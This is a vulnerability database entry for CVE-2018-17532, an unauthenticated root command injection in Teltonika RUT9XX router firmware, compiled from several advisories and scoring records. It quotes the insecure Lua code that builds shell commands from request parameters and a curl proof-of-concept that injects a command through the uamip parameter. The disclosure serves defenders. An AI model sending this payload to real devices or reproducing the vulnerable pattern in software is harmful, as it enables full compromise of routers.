ID

VAR-201810-0455


CVE

CVE-2018-17532


TITLE

Teltonika RUT9XX In router firmware OS Command injection vulnerability

Trust: 0.8

sources: JVNDB: JVNDB-2018-011063

DESCRIPTION

Teltonika RUT9XX routers with firmware before 00.04.233 are prone to multiple unauthenticated OS command injection vulnerabilities in autologin.cgi and hotspotlogin.cgi due to insufficient user input sanitization. This allows remote attackers to execute arbitrary commands with root privileges. TeltonikaRUT9XXrouters (also known as LuCI) is a router product from Teltonika, Lithuania. * **Identifier** : SBA-ADV-20180319-01 * **Type of Vulnerability** : OS Command Injection * **Software/Product Name** : [Teltonika RUT955](https://teltonika.lt/product/rut955/) * **Vendor** : [Teltonika](https://teltonika.lt/) * **Affected Versions** : Firmware RUT9XX_R_00.04.172 and probably prior * **Fixed in Version** : RUT9XX_R_00.04.233 * **CVE ID** : CVE-2018-17532 * **CVSSv3 Vector** : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H * **CVSSv3 Base Score** : 9.8 (Critical) ## Vendor Description ## > RUT955 is a highly reliable and secure LTE router with I/O, GNSS and > RS232/RS485 for professional applications. Router delivers high > performance, mission-critical cellular communication and GPS location > capabilities. Source: <https://teltonika.lt/product/rut955/> ## Impact ## An attacker can fully compromise the device, by exploiting the vulnerabilities documented in this advisory. Sensitive data stored or transmitted via the device might get exposed through this attack. We recommend upgrading to version RUT9XX_R_00.04.233 or newer, which includes fixes for the vulnerabilities described in this advisory. The scripts are part of the coova-chilli captive portal. However, the vulnerabilities are exploitable regardless of the device configuration, even if no captive portal is configured. More concretely, the following parameters are vulnerable: * `/cgi-bin/autologin.cgi` * reply * uamport * challenge * userurl * res * reason * *If* res=success * uamip * uamport * userurl * `/cgi-bin/hotspotlogin.cgi` * *If* send=1 * uamip * TelNum * challenge * uamport * userurl * *If* button=1 or (res=wispr and UserName=1) * uamport * uamip * *If* res=success or res=already or res=popup2 * uamip * uamport * *If* res=logoff or res=popup3 * uamip * uamport The affected scripts use these parameters to build OS commands via string concatenation without proper sanitization. The vulnerabilities are located in the source files `hotspotlogin.cgi` and `landing_page_functions.lua`, which is included from `autologin.cgi` and `hotspotlogin.cgi`. For example, it provides the function `getParam`, which directly passes the argument to `io.popen`: ```lua [...] function getParam(string) local h = io.popen(string) local t = h:read() h:close() return t end [...] ``` `landing_page_functions.lua` also provides the functions `debug` and `get_ifname`, which use `os.execute` and `getParam` in an insecure way: ```lua [...] function debug(string) if debug_enable == 1 then os.execute("/usr/bin/logger -t hotspotlogin.cgi \""..string.."\"") end end [...] function get_ifname(ip) local result = getParam(format("ip addr | grep \"%s\"", ip)) local tun = string.match(result, "(tun%d+)") local ifname = "wlan0" [...] ``` For example, `hotspotlogin.cgi` makes use of the functions `get_ifname` and `getParam`. Occasionally, it also insecurely uses `os.execute` directly: ```lua [...] if send and send ~= "" and tel_num then local ifname = get_ifname(uamip) local pass = generate_code(ifname) or "0000" tel_num = tel_num:gsub("%%2B", "+") local exists = getParam("grep \"" ..tel_num.. "\" /etc/chilli/" .. ifname .. "/smsusers") local user = string.format("%s", pass) local uri = os.getenv("REQUEST_URI") local message = string.format("%s Password - %s \n Link - http://%s%s?challenge=%s&uamport=%s&uamip=%s&userurl=%s&UserName=%s&button=1", tel_num, pass, uamip, uri, challenge, uamport, uamip, userurl, pass) local smsotp_mesg=string.format("%s;%s", tel_num, pass) message = getParam(string.format("/usr/sbin/gsmctl -Ss \"%s\"", message)) if message == "OK" then os.execute("echo \""..smsotp_mesg.."\" >> /tmp/smsotp.log") sms = "sent" if exists then os.execute("sed -i 's/" ..exists.. "/" ..user.. "/g' /etc/chilli/" .. ifname .. "/smsusers") else os.execute("echo \"" ..user.. "\" >>/etc/chilli/" .. ifname .. "/smsusers") end [...] ``` In one of the first lines of the above code snippet, `hotspotlogin.cgi` calls `get_ifname` with unsanitized user input from the parameter `uamip`. A few lines later it calls `getParam` with unsanitized user input from the parameter `TelNum`. In a further call to `getParam` it uses more unsanitized user input. There are futher locations that call insecure functions like `debug` and `get_ifname` either directly or indirectly with user input from the scripts `autologin.cgi` and `hotspotlogin.cgi`. ## Proof-of-Concept ## For example, an attacker can exploit this vulnerability by manipulating the `uamip` parameter: ```sh curl -v -o /dev/null "http://$IP/cgi-bin/hotspotlogin.cgi" -d 'send=1&uamip="; id >/tmp/test #' ``` The device executes the commands with root privileges: ```bash # cat /tmp/test uid=0(root) gid=0(root) ``` ## Timeline ## * `2018-03-19` identification of vulnerability in version RUT9XX_R_00.04.84 * `2018-04-10` detailed analysis of version RUT9XX_R_00.04.161 * `2018-04-16` re-test of version RUT9XX_R_00.04.172 * `2018-04-16` initial vendor contact through public address * `2018-04-18` vendor response with security contact * `2018-04-19` disclosed vulnerability to vendor security contact * `2018-04-26` vendor released fix in version RUT9XX_R_00.04.233 * `2018-07-09` re-test of version RUT9XX_R_00.05.00.5 * `2018-09-25` request CVE from MITRE * `2018-09-26` MITRE assigned CVE-2018-17532 * `2018-10-11` public disclosure ## References ## * Firmware Changelog: <https://wiki.teltonika.lt/index.php?title=RUT9xx_Firmware> ## Credits ## * David Gnedt ([SBA Research](https://www.sba-research.org/))

Trust: 2.34

sources: NVD: CVE-2018-17532 // JVNDB: JVNDB-2018-011063 // CNVD: CNVD-2019-18494 // VULMON: CVE-2018-17532 // PACKETSTORM: 149777

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2019-18494

AFFECTED PRODUCTS

vendor:teltonikamodel:rut900scope:ltversion:00.04.233

Trust: 1.8

vendor:teltonikamodel:rut950scope:ltversion:00.04.233

Trust: 1.8

vendor:teltonikamodel:rut955scope:ltversion:00.04.233

Trust: 1.8

vendor:teltonikamodel:rut9xxscope:ltversion:00.04.233

Trust: 0.6

sources: CNVD: CNVD-2019-18494 // JVNDB: JVNDB-2018-011063 // NVD: CVE-2018-17532

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2018-17532
value: CRITICAL

Trust: 1.0

NVD: CVE-2018-17532
value: CRITICAL

Trust: 0.8

CNVD: CNVD-2019-18494
value: HIGH

Trust: 0.6

CNNVD: CNNVD-201810-710
value: CRITICAL

Trust: 0.6

VULMON: CVE-2018-17532
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2018-17532
severity: HIGH
baseScore: 10.0
vectorString: AV:N/AC:L/AU:N/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 10.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.9

CNVD: CNVD-2019-18494
severity: HIGH
baseScore: 10.0
vectorString: AV:N/AC:L/AU:N/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 10.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

nvd@nist.gov: CVE-2018-17532
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 3.9
impactScore: 5.9
version: 3.0

Trust: 1.8

sources: CNVD: CNVD-2019-18494 // VULMON: CVE-2018-17532 // JVNDB: JVNDB-2018-011063 // CNNVD: CNNVD-201810-710 // NVD: CVE-2018-17532

PROBLEMTYPE DATA

problemtype:CWE-78

Trust: 1.8

sources: JVNDB: JVNDB-2018-011063 // NVD: CVE-2018-17532

THREAT TYPE

remote

Trust: 0.7

sources: PACKETSTORM: 149777 // CNNVD: CNNVD-201810-710

TYPE

operating system commend injection

Trust: 0.6

sources: CNNVD: CNNVD-201810-710

CONFIGURATIONS

sources: JVNDB: JVNDB-2018-011063

PATCH

title:Top Pageurl:http://teltonika.lt/

Trust: 0.8

title:TeltonikaRUT9XXOS command injection vulnerability patchurl:https://www.cnvd.org.cn/patchInfo/show/163899

Trust: 0.6

title:Teltonika RUT9XX Repair measures for router operating system command injection vulnerabilityurl:http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=85807

Trust: 0.6

sources: CNVD: CNVD-2019-18494 // JVNDB: JVNDB-2018-011063 // CNNVD: CNNVD-201810-710

EXTERNAL IDS

db:NVDid:CVE-2018-17532

Trust: 3.2

db:PACKETSTORMid:149777

Trust: 2.6

db:JVNDBid:JVNDB-2018-011063

Trust: 0.8

db:CNVDid:CNVD-2019-18494

Trust: 0.6

db:CNNVDid:CNNVD-201810-710

Trust: 0.6

db:VULMONid:CVE-2018-17532

Trust: 0.1

sources: CNVD: CNVD-2019-18494 // VULMON: CVE-2018-17532 // JVNDB: JVNDB-2018-011063 // PACKETSTORM: 149777 // CNNVD: CNNVD-201810-710 // NVD: CVE-2018-17532

REFERENCES

url:http://packetstormsecurity.com/files/149777/teltonika-rut9xx-unauthenticated-os-command-injection.html

Trust: 2.5

url:https://github.com/sbaresearch/advisories/tree/public/2018/sba-adv-20180319-01_teltonika_os_command_injection

Trust: 1.8

url:http://seclists.org/fulldisclosure/2018/oct/27

Trust: 1.8

url:https://nvd.nist.gov/vuln/detail/cve-2018-17532

Trust: 1.5

url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-17532

Trust: 0.8

url:https://cwe.mitre.org/data/definitions/78.html

Trust: 0.1

url:https://nvd.nist.gov

Trust: 0.1

url:https://teltonika.lt/)

Trust: 0.1

url:https://teltonika.lt/product/rut955/)

Trust: 0.1

url:http://%s%s?challenge=%s&uamport=%s&uamip=%s&userurl=%s&username=%s&button=1",

Trust: 0.1

url:https://teltonika.lt/product/rut955/>

Trust: 0.1

url:http://$ip/cgi-bin/hotspotlogin.cgi"

Trust: 0.1

url:https://wiki.teltonika.lt/index.php?title=rut9xx_firmware>

Trust: 0.1

url:https://www.sba-research.org/))

Trust: 0.1

sources: CNVD: CNVD-2019-18494 // VULMON: CVE-2018-17532 // JVNDB: JVNDB-2018-011063 // PACKETSTORM: 149777 // CNNVD: CNNVD-201810-710 // NVD: CVE-2018-17532

CREDITS

David Gnedt

Trust: 0.1

sources: PACKETSTORM: 149777

SOURCES

db:CNVDid:CNVD-2019-18494
db:VULMONid:CVE-2018-17532
db:JVNDBid:JVNDB-2018-011063
db:PACKETSTORMid:149777
db:CNNVDid:CNNVD-201810-710
db:NVDid:CVE-2018-17532

LAST UPDATE DATE

2024-11-23T22:12:19.248000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2019-18494date:2019-06-19T00:00:00
db:VULMONid:CVE-2018-17532date:2018-11-30T00:00:00
db:JVNDBid:JVNDB-2018-011063date:2019-01-04T00:00:00
db:CNNVDid:CNNVD-201810-710date:2018-10-16T00:00:00
db:NVDid:CVE-2018-17532date:2024-11-21T03:54:33.640

SOURCES RELEASE DATE

db:CNVDid:CNVD-2019-18494date:2019-06-19T00:00:00
db:VULMONid:CVE-2018-17532date:2018-10-15T00:00:00
db:JVNDBid:JVNDB-2018-011063date:2019-01-04T00:00:00
db:PACKETSTORMid:149777date:2018-10-12T16:16:15
db:CNNVDid:CNNVD-201810-710date:2018-10-16T00:00:00
db:NVDid:CVE-2018-17532date:2018-10-15T19:29:01.617